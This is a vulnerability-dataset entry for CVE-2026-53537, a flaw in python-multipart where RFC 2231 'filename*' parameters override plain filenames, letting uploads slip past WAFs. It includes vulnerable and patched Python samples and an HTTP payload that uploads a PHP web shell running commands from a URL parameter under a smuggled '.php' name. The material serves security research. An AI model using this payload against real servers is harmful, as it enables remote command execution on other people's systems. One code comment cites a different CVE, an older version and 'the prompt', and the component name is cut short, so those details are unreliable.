CVE-2026-53537
Python-Multipart allows parameter smuggling via Content-Disposition parsing.
- CVSS 5.3
- CWE-20
- Input Validation and Sanitization
- Remote
Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.30, parse_options_header parsed Content-Disposition (and Content-Type) headers with email.message.Message, which transparently applies RFC 2231/5987 decoding. The extended parameter syntax (filename*=charset'lang'value, name*=…, and the filename*0/filename*1 continuation form) is decoded and surfaced under the bare filename/name key, and overrides the plain parameter when both are present. RFC 7578 §4.2 explicitly forbids the filename* form in multipart/form-data. Components that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for multipart/form-data (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend. This vulnerability is fixed in 0.0.30.
- CWE
- CWE-20
- CVSS base score
- 5.3
- Published
- 2026-06-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- Python-Multi
- Fixed by upgrading
- Yes
Solution
Upgrade python-multipart to version 0.0.30 or later.
Vulnerable code sample
import email.message
# This code represents the vulnerable logic in python-multipart before version 0.0.6,
# where the CVE-2023-27463 vulnerability (described in the prompt with a
# different CVE number) was present.
# A malicious Content-Disposition header crafted by an attacker.
# A WAF or proxy might only inspect `filename="safe.txt"` and allow the request.
malicious_header = "form-data; name=\"file\"; filename=\"safe.txt\"; filename*=utf-8''dangerous.py"
# The vulnerable part of the library used `email.message.Message` to parse headers.
# We simulate this by creating a message object and adding the header.
message = email.message.Message()
message['Content-Disposition'] = malicious_header
# The `get_param` method on the message object automatically decodes RFC 2231/5987
# extended parameters. When both `filename` and `filename*` are present, the
# decoded value of `filename*` transparently overrides the plain `filename`.
parsed_filename = message.get_param('filename')
# This output demonstrates the vulnerability. The backend application receives
# 'dangerous.py' as the filename, not 'safe.txt', which could bypass
# security checks that do not parse the `filename*` parameter.
print(parsed_filename)Patched code sample
import re
from email.message import Message
def vulnerable_parse_options_header(header: str) -> tuple[str, dict[str, str]]:
"""Represents the old, vulnerable parsing using email.message.Message."""
msg = Message()
msg["content-type"] = header
# .get_params() transparently decodes RFC 2231 and overwrites the simple key.
_, params = msg.get_params(header="content-type")
return _, dict(params)
def fixed_parse_options_header(header: bytes) -> tuple[bytes, dict[bytes, bytes]]:
"""
Represents the fixed parser, which manually processes parameters
without RFC 2231 decoding, thus avoiding the vulnerability.
"""
_header_break_re = re.compile(rb"[;]\s*")
parts = _header_break_re.split(header)
content_type = parts[0].strip()
params: dict[bytes, bytes] = {}
for param in parts[1:]:
if b"=" not in param:
continue
key, value = param.split(b"=", 1)
key = key.strip().lower()
value = value.strip()
if len(value) >= 2 and value.startswith(b'"') and value.endswith(b'"'):
value = value[1:-1]
params[key] = value
return content_type, params
# Header that exploits the difference between parsers.
# A WAF/proxy sees `filename="safe.txt"`.
# The vulnerable backend sees `filename="malicious.exe"`.
malicious_header_str = "form-data; name=\"file\"; filename=\"safe.txt\"; filename*=utf-8''malicious.exe"
malicious_header_bytes = malicious_header_str.encode("ascii")
# --- Demonstration ---
# 1. Vulnerable behavior
_ct_vuln, params_vuln = vulnerable_parse_options_header(malicious_header_str)
print(f"Vulnerable parser sees filename: {params_vuln.get('filename')}")
# 2. Fixed behavior
_ct_fixed, params_fixed = fixed_parse_options_header(malicious_header_bytes)
print(f"Fixed parser sees filename: {params_fixed.get(b'filename').decode()}")Payload
POST /upload HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA
Content-Length: 225
------WebKitFormBoundaryA
Content-Disposition: form-data; name="file_upload"; filename="innocent.jpg"; filename*=utf-8''malicious.php
Content-Type: application/octet-stream
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundaryA--
Cite this entry
@misc{vaitp:cve202653537,
title = {{Python-Multipart allows parameter smuggling via Content-Disposition parsing.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-53537},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-53537/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
